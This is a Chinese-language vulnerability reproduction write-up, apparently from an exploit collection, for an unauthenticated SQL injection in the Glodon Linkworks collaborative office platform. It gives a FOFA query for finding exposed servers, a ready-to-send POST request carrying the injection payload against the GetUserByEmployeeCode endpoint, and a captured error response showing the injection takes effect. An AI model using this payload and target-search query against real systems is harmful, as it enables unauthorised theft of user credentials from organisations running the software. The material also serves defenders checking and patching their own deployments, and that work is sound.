

G3-5广联达-Linkworks协同办公管理平台-SQL

漏洞描述：

广联达-Linkworks协同办公管理平台 GetUserByEmployeeCode、GetUserByUserCode、EmailAccountOrgUserService.aspx等接口处存在SQL注入漏洞，未经身份认证的攻击者可获取用户名密码等敏感信息。

网站图片：



网络测绘：

fofa语法：

body="Services/Identification/login.aspx" || header="Services/Identification/login.aspx" || banner="Services/Identification/login.aspx"

漏洞复现：

payload:

```
POST /Org/service/Service.aspx/GetUserByEmployeeCode HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
```

employeeCode=1'-1/user--'&EncryptData=1

效果图:

查询当前用户

Request

1

POST /Org/service/Service.aspx/GetUserByEmployeeCode HTTP/1.1

2

Host : 192.168.1.45:8888

3

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4

Content-Length auto: 39

5

Content-Type: application/x-www-form-urlencoded

6

Accept-Encoding: gzip, deflate

7

Connection: close

8

9

employeeCode=1'-1/user--'&EncryptData=1

Responses 2021bytes / 13ms

1

HTTP/1.1 500 Internal Server Error

2

Cache-Control: private

3

Content-Type: text/plain; charset=utf-8

4

Server: Microsoft-IIS/10.0

5

X-AspNet-Version: 4.0.30319

6

X-Powered-By: ASP.NET

7

Date: Thu, 14 Dec 2023 07:52:35 GMT

8

Connection: close

9

Content-Length: 2021

10

11

System.Data.SqlClient.SqlException: 在将数据写入数据库时发生错误。 (消息 137, 级别 16, 状态 1, 本地批处理序列号 1)

12

...在 System.Data.SqlClient.SqlConnection breakConnection, Action`1.wrapCloseInA

13

...在 System.Data.SqlClient.TdsParser.ThrowStateObj, Boolean.callerHasConnectionL

14

...在 System.Data.SqlClient.TdsParser.TryIcmdHandler, SqlDataReader.dataStream, I

15

...在 System.Data.SqlClient.SqlDataReader TdsParserStateObject.stateObj, Boolean

16

...在 System.Data.SqlClient.SqlDataReader ...